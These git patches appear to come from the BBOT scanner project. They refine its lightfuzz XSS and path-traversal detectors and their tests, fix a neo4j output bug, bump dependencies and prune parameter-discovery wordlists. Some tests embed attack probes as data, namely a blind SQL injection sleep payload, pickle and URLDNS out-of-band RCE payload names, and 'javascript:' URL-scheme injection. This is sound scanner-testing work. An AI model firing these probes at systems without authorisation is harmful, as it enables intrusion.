-408,8 +407,8 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -456,8 +455,8 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -494,16 +493,14 @@ def request_handler(self, request): # leave `${`, `}`, and backtick alone. safe = decoded.replace("<", "").replace(">", "") return Response( - "", + f"", status=200, ) return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -810,8 +807,8 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -831,11 +828,7 @@ def check(self, module_test, events): if e.type == "FINDING": desc = e.data["description"] - if ( - "Possible Reflected XSS. Parameter: [foo] Context: [Tag Attribute" - in desc - and 'quoted)' in desc - ): + if "Possible Reflected XSS. Parameter: [foo] Context: [Tag Attribute" in desc and "quoted)" in desc: xss_finding_emitted = True assert web_parameter_emitted, "WEB_PARAMETER was not emitted" @@ -876,8 +869,8 @@ def request_handler(self, request): return Response(self.parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -990,8 +983,8 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -1060,8 +1053,8 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -1119,8 +1112,8 @@ def check(self, module_test, events): # SQLI Single Quote/Two Single Quote (headers) class Test_Lightfuzz_sqli_headers(Test_Lightfuzz_sqli): async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -1189,8 +1182,8 @@ def check(self, module_test, events): # SQLI Single Quote/Two Single Quote (cookies) class Test_Lightfuzz_sqli_cookies(Test_Lightfuzz_sqli): async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -1360,18 +1353,13 @@ def check(self, module_test, events): web_parameter_emitted = True if e.type == "FINDING": desc = e.data["description"] - if ( - "Possible Blind SQL Injection" in desc - and "OR SLEEP(5) IS NOT NULL LIMIT 1-- -" in desc - ): + if "Possible Blind SQL Injection" in desc and "OR SLEEP(5) IS NOT NULL LIMIT 1-- -" in desc: one_shot_delay_finding = True # Guard against regression of the missing-comma bug: Python string-literal # concatenation of adjacent list entries would produce a payload containing # both DBMS_LOCK.SLEEP and WAITFOR, which is never a valid single probe. - garbled = [ - p for p in self.received_payloads if "DBMS_LOCK.SLEEP" in p and "WAITFOR" in p - ] + garbled = [p for p in self.received_payloads if "DBMS_LOCK.SLEEP" in p and "WAITFOR" in p] assert not garbled, ( f"Garbled Oracle+MSSQL concatenated probe was sent ({len(garbled)} times): " f"{garbled[:1]}. This indicates the missing-comma bug has regressed." @@ -1379,8 +1367,7 @@ def check(self, module_test, events): assert web_parameter_emitted, "WEB_PARAMETER was not emitted" assert one_shot_delay_finding, ( - "One-shot row-independent SLEEP finding not emitted — " - "row-independent blind sqli detection regression." + "One-shot row-independent SLEEP finding not emitted — row-independent blind sqli detection regression." ) @@ -1902,10 +1889,7 @@ def check(self, module_test, events): for e in events: if e.type == "FINDING": desc = e.data["description"] - if ( - "Python pickle OOB RCE (OOB Interaction)" in desc - and "Payload: [python_pickle_oob]" in desc - ): + if "Python pickle OOB RCE (OOB Interaction)" in desc and "Payload: [python_pickle_oob]" in desc: oob_finding = True assert oob_finding, "Python pickle OOB interactsh FINDING not emitted" @@ -1940,10 +1924,7 @@ def check(self, module_test, events): for e in events: if e.type == "FINDING": desc = e.data["description"] - if ( - "Java URLDNS OOB (OOB Interaction)" in desc - and "Payload: [java_urldns_oob]" in desc - ): + if "Java URLDNS OOB (OOB Interaction)" in desc and "Payload: [java_urldns_oob]" in desc: urldns_finding = True assert urldns_finding, "Java URLDNS OOB interactsh FINDING not emitted" @@ -2081,9 +2062,7 @@ def check(self, module_test, events): ): windows_arith_finding = True assert web_parameter_emitted, "WEB_PARAMETER was not emitted" - assert windows_arith_finding, ( - "Windows cmd arithmetic canary HIGH-confidence FINDING was not emitted" - ) + assert windows_arith_finding, "Windows cmd arithmetic canary HIGH-confidence FINDING was not emitted" # CMDi parser-error reflection: simulates a parser (SQL, JSON, YAML) that @@ -2351,8 +2330,8 @@ def request_handler(self, request): return Response(parameter_block, status=200, headers={"Content-Type": "application/json"}) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -2409,8 +2388,8 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -2456,8 +2435,8 @@ def request_handler(self, request): return Response(fp_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -3063,9 +3042,7 @@ def request_handler(self, request): # the interactsh subdomain from within an include payload and # fire a mock interaction to prove the OOB detection path. if "placeholder", "status": 200} expect_args = {"method": "GET", "uri": "/"} From e3eb41d16a37d2605da00ae4bfa3bddb08925b2b Mon Sep 17 00:00:00 2001 From: Connor Date: Fri, 24 Apr 2026 21:58:43 -0400 Subject: [PATCH 563/912] bug: fix neo4j clienterror on host_metadata --- bbot/modules/output/neo4j.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/output/neo4j.py b/bbot/modules/output/neo4j.py index 8d88572575..28248296e8 100644 --- a/bbot/modules/output/neo4j.py +++ b/bbot/modules/output/neo4j.py @@ -108,7 +108,7 @@ async def merge_events(self, events, event_type, id_only=False): # we pop the timestamp because it belongs on the relationship event_json.pop("timestamp") # nested data types aren't supported in neo4j - for key in ("dns_children", "discovery_path"): + for key in ("dns_children", "discovery_path", "host_metadata"): if key in event_json: event_json[key] = json.dumps(event_json[key]) insert_data.append(event_json) From 18deb6cc5f1a93d631cb8f56149ddb0beebbbff1 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 25 Apr 2026 15:52:44 -0400 Subject: [PATCH 564/912] Lightfuzz xss/path: tighten URL-scheme + singledot detectors MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit xss URL-scheme injection: only fire when the match is preceded by a URL-bearing attribute assignment (href/src/action/formaction/...), not any quoted attribute. Fixes FP on `` etc. path single-dot tolerance: require the doubledot probe to be a 2xx fetch with body. A 4xx/5xx is the server *rejecting* `..` — the opposite of a vulnerability — and was previously flagged as positive signal. Updates existing path fixtures to model real TPs and adds negative regression tests for both detectors. --- bbot/modules/lightfuzz/submodules/path.py | 14 ++- bbot/modules/lightfuzz/submodules/xss.py | 39 ++++++ .../module_tests/test_module_lightfuzz.py | 111 ++++++++++++++++++ 3 files changed, 162 insertions(+), 2 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index dfd8f0153d..b189bfa2b0 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -143,14 +143,24 @@ async def fuzz(self): # next, if doubledot_probe[0] is false, the response is different from the baseline. This further indicates that a real path is being manipulated # if doubledot_probe[3] is not None, the response is not empty. # if doubledot_probe[1] is not ["header"], the response is not JUST a header change. + # The doubledot response must look like a successful fetch of a different + # resource (2xx with body) — a 4xx/5xx is the server *rejecting* the `..`, + # which is the opposite of a vulnerability and was previously flagged because + # any non-baseline response satisfied `[0] is False`. # "The requested URL was rejected" is a very common WAF error message which appears on 200 OK response, confusing detections + doubledot_response = doubledot_probe[3] + doubledot_is_success = ( + doubledot_response is not None + and 200 <= doubledot_response.status_code < 300 + and bool(doubledot_response.text) + ) if ( singledot_probe[0] is True and doubledot_probe[0] is False - and doubledot_probe[3] is not None + and doubledot_is_success and doubledot_probe[1] != ["header"] and not await self.lightfuzz.helpers.yara.match( - self.lightfuzz.waf_yara_rules, doubledot_probe[3].text + self.lightfuzz.waf_yara_rules, doubledot_response.text ) ): confirmations += 1 diff --git a/bbot/modules/lightfuzz/submodules/xss.py b/bbot/modules/lightfuzz/submodules/xss.py index 1f1ac023b1..da5aeaaeb4 100644 --- a/bbot/modules/lightfuzz/submodules/xss.py +++ b/bbot/modules/lightfuzz/submodules/xss.py @@ -23,6 +23,31 @@ class xss(BaseLightfuzz): friendly_name = "Cross-Site Scripting" + # Attributes the browser will navigate to or fetch from. A `javascript:` + # URL only becomes an XSS sink when reflected into one of these. + _url_bearing_attrs = ( + "href", + "src", + "action", + "formaction", + "data", + "poster", + "background", + "cite", + "usemap", + "icon", + "manifest", + "longdesc", + "codebase", + "ping", + "archive", + "xlink:href", + ) + # Match `=` immediately at the end of a small preceding window. + # Leading `[\s/]` requires a real attribute boundary so prefixes like + # `data-href=` or `src-foo=` don't masquerade as URL-bearing. + _url_attr_regex = re.compile(r"(?i)[\s/](" + "|".join(re.escape(a) for a in _url_bearing_attrs) + r")\s*=\s*$") + async def determine_context(self, cookies, html, random_string): """ Determines the context of the random string in the HTML response. @@ -143,6 +168,20 @@ def _verify_match_context(self, html, match, context): rf"[^<]*(?:<(?!\/script>)[^<]*)*<\/script>" ) return bool(in_js_regex.search(html)) + elif "URL-scheme Injection" in context: + # The match key starts with the wrapping quote (`"javascript:RAND` + # or `'javascript:RAND`). The attribute name and `=` live in the + # bytes immediately preceding that quote. Only fire if at least + # one occurrence is in a URL-bearing attribute — otherwise a + # `` reflection (HTML-encoded, no + # exploitation path) would false-positive. + pos = html.find(match) + while pos != -1: + preceding = html[max(0, pos - 64) : pos] + if self._url_attr_regex.search(preceding): + return True + pos = html.find(match, pos + 1) + return False return True async def check_probe(self, cookies, probe, match, context): diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index d05c9ef66a..f15b522841 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -47,9 +47,20 @@ def request_handler(self, request): + """ + # Real path-traversal payload: a successful fetch of a different + # resource (200 + distinct body). This is what a vulnerable server + # actually returns — it's the signal the detector relies on. + traversed_block = """ + + + +SECRET_FROM_PARENT_DIR """ if value == "%2F.%2Fa%2F..%2Fdefault.jpg" or value == "default.jpg": return Response(block, status=200) + if value == "%2F..%2Fa%2F..%2Fdefault.jpg": + return Response(traversed_block, status=200) return Response("file not found", status=500) def check(self, module_test, events): @@ -89,6 +100,15 @@ def request_handler(self, request): + """ + # Real strict-resolver traversal: `../X` reads a different file + # successfully (200 + distinct body). The detector requires a + # successful fetch on the doubledot probe to flag. + traversed_block = """ + + + +SECRET_FROM_PARENT_DIR """ # Only exact-file or simple-dot-prefixed reads succeed. Any path # containing `a/../` fails because `a/` does not exist, mirroring @@ -100,6 +120,8 @@ def request_handler(self, request): "%2E%2Fdefault.jpg", ): return Response(block, status=200) + if value == "../default.jpg": + return Response(traversed_block, status=200) return Response("file not found", status=500) def check(self, module_test, events): @@ -125,6 +147,46 @@ def check(self, module_test, events): ) +# Negative regression test for the JSF-style path-traversal FP: a server +# that normalizes `./X` (returns the canonical resource for the no-op +# prefix) but strictly REJECTS any `..` segment with a 4xx/empty body. +# That's the opposite of a vulnerability — no file from a different path +# is being delivered. The detector must not emit a finding. +class Test_Lightfuzz_path_singledot_rejection_fp(Test_Lightfuzz_path_singledot): + def request_handler(self, request): + qs = str(request.query_string.decode()) + if "filename=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + + # Strict rejection of any `..` segment in any encoding (raw, + # url-encoded, double-url-encoded). Empty body — no resource + # exfiltrated. + decoded = unquote(unquote(value)) + if ".." in decoded: + return Response("", status=404) + + block = """ + + + + """ + # Server normalizes `./` (and url-encoded variants) to a no-op + # and returns the canonical resource — singledot tolerance only. + if "default.jpg" in decoded: + return Response(block, status=200) + return Response("", status=404) + + def check(self, module_test, events): + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + assert "Possible Path Traversal" not in desc and "POSSIBLE Path Traversal" not in desc, ( + f"Path Traversal false positive emitted when server rejects `..`: {desc}" + ) + + # Path Traversal Absolute path class Test_Lightfuzz_path_absolute(Test_Lightfuzz_path_singledot): etc_passwd = """ @@ -568,6 +630,55 @@ def check(self, module_test, events): assert xss_finding_emitted, "URL-scheme Injection XSS FINDING not emitted" +# Negative regression test for the FMCSA-style URL-scheme false positive: +# the parameter is reflected only into a non-URL-bearing attribute +# (``), with `<`, `>`, `"` HTML-encoded everywhere else. +# `javascript:RAND` survives into the value attribute, but no browser will +# navigate to it from there. The URL-scheme Injection probe must NOT fire. +class Test_Lightfuzz_xss_url_scheme_value_attr_fp(Test_Lightfuzz_xss): + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = """ + + Link + + """ + if "Keyword=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + # Mimic the FMCSA pattern: `"`, `<`, `>` are HTML-encoded + # outside the value attribute, and the only place the raw + # token survives is inside ``. + safe = decoded.replace("&", "&").replace("<", "<").replace(">", ">").replace('"', """) + return Response( + f"" + f"{safe}" + f'' + f"", + status=200, + ) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + expect_args = re.compile("/otherpage.php") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + assert "URL-scheme Injection" not in desc, ( + f"URL-scheme Injection false positive emitted for non-URL-bearing attribute: {desc}" + ) + + # Base64 Envelope XSS Detection class Test_Lightfuzz_envelope_base64(Test_Lightfuzz_xss): def request_handler(self, request): From 28f0595adeb6e7ff82bf4f1bc0523f3927cb8742 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 26 Apr 2026 04:42:44 +0000 Subject: [PATCH 565/912] Update griffe requirement from <2,>=1 to >=1,<3 Updates the requirements on [griffe](https://github.com/mkdocstrings/griffe) to permit the latest version. - [Release notes](https://github.com/mkdocstrings/griffe/releases) - [Changelog](https://github.com/mkdocstrings/griffe/blob/main/CHANGELOG.md) - [Commits](https://github.com/mkdocstrings/griffe/compare/1.0.0...2.0.2) --- updated-dependencies: - dependency-name: griffe dependency-version: 2.0.2 dependency-type: direct:development ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 3e2870e696..cd8144f87a 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -88,7 +88,7 @@ docs = [ "mkdocs-material-extensions>=1.1.1,<2", "mkdocstrings>=0.22,<1.1", "mkdocstrings-python>=2.0.0,<3", - "griffe>=1,<2", + "griffe>=1,<3", "livereload>=2.6.3,<3", "mike>=2.1.3,<3", "pymdown-extensions>=10.20.1,<11", From 85119a07648fa679273e8038a3532795c2f9a339 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 26 Apr 2026 04:42:49 +0000 Subject: [PATCH 566/912] Update websockets requirement from <16.0.0,>=14.0.0 to >=14.0.0,<17.0.0 Updates the requirements on [websockets](https://github.com/python-websockets/websockets) to permit the latest version. - [Release notes](https://github.com/python-websockets/websockets/releases) - [Commits](https://github.com/python-websockets/websockets/compare/14.0...16.0) --- updated-dependencies: - dependency-name: websockets dependency-version: '16.0' dependency-type: direct:production ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 3e2870e696..2a43b590de 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ dependencies = [ "pycryptodome>=3.17,<4", "idna>=3.4,<4", "tabulate==0.8.10", - "websockets>=14.0.0,<16.0.0", + "websockets>=14.0.0,<17.0.0", "pyjwt>=2.7.0,<3", "beautifulsoup4>=4.12.2,<5", "lxml>=4.9.2,<7.0.0", From 2953db4b26f81944855baf75d943b8d181736412 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 26 Apr 2026 04:43:10 +0000 Subject: [PATCH 567/912] Bump ruff from 0.15.10 to 0.15.12 Bumps [ruff](https://github.com/astral-sh/ruff) from 0.15.10 to 0.15.12. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.15.10...0.15.12) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.15.12 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 3e2870e696..85ae0b9cb2 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -79,7 +79,7 @@ dev = [ "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "baddns~=2.1.0", - "ruff==0.15.10", + "ruff==0.15.12", ] docs = [ "mkdocs>=1.5.2,<2", From a582684b90e3fe4dc3236b6b7a88ec786156f2b5 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 26 Apr 2026 11:09:28 -0400 Subject: [PATCH 568/912] paramminer: prune dead-weight wordlists MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit headers: 1150 → 289 (-75%); removed pecl_http C constants, CGI env vars, HTTP status reason phrases, PHP superglobals, Apache module names, WAP-era device cruft, defunct platforms (BAE/FirePHP/Tomboy/Mosso/Prototype.js/ Hixie-76 WebSocket/RFC2965 Cookie2), per-app webhook signatures and CSRF headers, and joke/typo/fragment entries. parameters: 6514 → 5224 (-20%); removed case-insensitive duplicates, numbered single-app dump residue (u1-u50, sql* series), pfSense WebGUI form fields, SMF install fields, phpMyAdmin admin-form fields, phpBB forum-specific entries, ID3 audio-tag tool entries, all 1- and 2-letter entries, and 3-letter entries that aren't well-known abbreviations. --- bbot/wordlists/paramminer_headers.txt | 861 --------------- bbot/wordlists/paramminer_parameters.txt | 1291 ---------------------- 2 files changed, 2152 deletions(-) diff --git a/bbot/wordlists/paramminer_headers.txt b/bbot/wordlists/paramminer_headers.txt index 3fe2366059..b8f893f8b6 100644 --- a/bbot/wordlists/paramminer_headers.txt +++ b/bbot/wordlists/paramminer_headers.txt @@ -14,10 +14,8 @@ access-control-request-method age allow authorization -authenticate cache-control connection -contact content-disposition content-encoding content-language @@ -28,7 +26,6 @@ content-security-policy content-security-policy-report-only content-type cookie -cookie2 dnt date destination @@ -44,12 +41,10 @@ if-none-match if-range if-unmodified-since keep-alive -large-allocation last-modified location origin~https://%s.%h pragma -profile proxy-authenticate proxy-authorization public-key-pins @@ -61,12 +56,10 @@ report-to retry-after server set-cookie -set-cookie2 sourcemap strict-transport-security te timing-allow-origin -tk trailer transfer-encoding upgrade-insecure-requests @@ -88,72 +81,18 @@ x-forwarded-ssl x-url-scheme x-cluster-client-ip x-forwarded-server~%s.%h -proxy-host x-wap-profile x-original-url x-rewrite-url x-http-destinationurl proxy-connection -x-uidh true-client-ip -request-uri -orig_path_info client-ip x-real-ip x-originating-ip cf-ipcountry cf-visitor -remote-userhttps -server-software -web-server-api -remote-addr -remote-host -remote-user -request-method -script-name -path-info -unencoded-url -x-arr-ssl -x-arr-log-id soapaction -x-original-http-command -x-server-name -x-server-port -query-string -auth-password -auth-type -auth-user -cert-cookie -cert-flags -cert-issuer -cert-keysize -cert-secretkeysize -cert-serialnumber -cert-server-issuer -cert-server-subject -cert-subject -cf-template-path -context-path -gateway-interface -https-keysize -https-secretkeysize -https-server-issuer -https-server-subject -http-accept -http-accept-encoding -http-accept-language -http-connection -http-cookie -http-host -http-referer -http-url -http-user-agent -local-addr -path-translated -server-name -server-port -server-port-secure -server-protocol cloudfront-viewer-country x-scheme x-cascade @@ -162,630 +101,120 @@ x-http-path-override x-http-host-override x-http-method x-method-override -x-cf-url -php-auth-user -php-auth-pw error -post-vars -raw-post-data -proxy-request-fulluri -request -server-varsabantecart -accept-application -accept-auth -accept-encodxng -accept-version action admin akamai-origin-hop -app -app-key -apply-to-redirect-ref -atcept-language -auth-digest-ie -auth-key -auth-realm base-url -bearer-indication -browser-user-agent -case-files -category -ch -challenge-response -charset client-address -client-bad-request -client-conflict -client-error-connect -client-expectation-failed -client-forbidden -client-gone -client-length-required -client-method-not-allowed -client-not-acceptable -client-not-found -client-payment-required -client-precondition-failed -client-proxy-auth-required -client-quirk-mode -client-requested-range-not-possible -client-request-timeout -client-request-too-large -client-request-uri-too-large -client-unauthorized -client-unsupported-media-type -cloudinary-name -cloudinary-public-id -cloudinaryurl -cloudinary-version -compress -connection-type -content -content-type-xhtml -cookies -core-base -credentials-filepath curl curl-multithreaded -custom-secret-header dataserviceversion -destroy -devblocksproxybase -devblocksproxyhost -devblocksproxyssl -digest -dir -dir-name -dir-resource -disable-gzip -dkim-signature -download-bad-url -download-cut-short -download-mime-type -download-no-server -download-size -download-status-not-found -download-status-server-error -download-status-unauthorized -download-status-unknown -download-url -env-silla-environment -espo-authorization -espo-cgi-auth -eve-charid -eve-charname -eve-solarsystemid -eve-solarsystemname -ex-copy-movie -ext -fake-header fastly-client-ip -fb-appid -fb-secret -filename -file-not-found -files -files-vars -foo-bar -force-language -force-local-xhprof forwarded-proto -fromlink -givenname -global-all -global-cookie -global-get -global-post -google-code-project-hosting-hook-hmac h0st -home -host-liveserver -host-name -host-unavailable -http-authorization -if-modified-since-version -if-posted-before -if-unmodified-since-version -images -info -ischedule-version iv-groups iv-user -jenkins -kiss-rpc last-event-id -local-dir -mail -max-conn maxdataserviceversion -max-request-size -max-uri-length -message -message-b mode -mod-env -mod-security-message -module-class -module-class-path -module-name -ms-asprotocolversion msisdn -my-header -mysqlport -native-sockets -nonce -not-exists -notification-template -onerror-return -organizer -params-get-catid -params-get-currentday -params-get-disposition -params-get-downwards -params-get-givendate -params-get-lang -params-get-type -passkey -path-base -path-themes -phpthreads -portsensor-auth -post-error -postredir-301 -postredir-302 -postredir-all -protocol -protocols -proxy-agent -proxy-http-1-0 -proxy-pwd -proxy-socks4a -proxy-socks5-hostname -proxy-url -pull -querystring realip real-ip -real-method -reason -reason-phrase -redirected-accept-language -redirection-found -redirection-multiple-choices -redirection-not-modified -redirection-permanent -redirection-see-other -redirection-temporary -redirection-unused -redirection-use-proxy -redirect-problem-withoutwww -redirect-problem-withwww -ref referer -refresh -remix-hash -remote-host-wp -request-method- -response -rest-key -returned-error -rlnclientipaddr -safe-ports-list -safe-ports-ssl-list -schedule-reply sec-websocket-accept sec-websocket-extensions -sec-websocket-key1 -sec-websocket-key2 sec-websocket-origin sec-websocket-protocol sec-websocket-version -self -send-x-frame-options -server-bad-gateway -server-error -server-gateway-timeout -server-internal -server-not-implemented -server-service-unavailable -server-unsupported-version -session-id-tag -shib- shib-identity-provider shib-logouturl -shopilex -sn -socketlog -somevar -sp-client ssl-offloaded sslsessionid ssl-session-id -status- -status-403 -status-403-admin-del -status-404 -status-code -status-platform-403 -success-accepted -success-created -success-no-content -success-non-authoritative -success-ok -success-partial-content -success-reset-content test -test-config -test-server-path -test-something-anything -ticket -time-out -tmp translate -ua-color -ua-resolution -ua-voice -unit-test-mode upgrade -uri -url-sanitize-path -use-gzip -useragent-via user-email user-id user-photos -util verbose -versioncode -x-aastra-expmod1 -x-aastra-expmod2 -x-aastra-expmod3 x-accel-mapping -x-advertiser-id -x-ajax-real-method -x-alto-ajax-keyz x-api-signature x-api-timestamp -x-apple-client-application -x-apple-store-front x-authentication x-authentication-key x-auth-mode x-authorization x-auth-password -x-auth-service-provider x-auth-token x-auth-userid x-auth-username -x-avantgo-screensize -x-azc-remote-addr -x-bear-ajax-request -x-bluecoat-via -x-browser-height -x-browser-width x-cache -x-cept-encoding -x-chrome-extension -x-cisco-bbsm-clientip x-client-host x-client-id x-clientip x-client-key -x-client-os -x-client-os-ver -x-collect-coverage -x-credentials-request x-csrf-crumb -x-cuid -x-custom -x-dagd-proxy -x-davical-testcase x-debug-test -x-dialog -x-drestcg -x-dsid -x-enable-coverage x-environment-override -x-experience-api-version -x-fb-user-remote-addr x-file-id x-file-resume -x-foo-bar x-forwarded-for-original x-forwarder-for x-forward-proto -x-from -x-gb-shared-secret x-geoip-country -x-get-checksum -x-helpscout-event -x-hgarg- x-host x-https -x-htx-agent x-if-unmodified-since -x-imbo-test-config -x-insight x-ip -x-ip-trail -x-iwproxy-nesting -x-jphone-color -x-jphone-geocode -x-kaltura-remote-addr -x-known-signature -x-known-username -x-litmus-second -x-machine -x-mandrill-signature -x-mobile-ua -x-mosso-dt x-msisdn -x-ms-policykey -x-myqee-system-debug 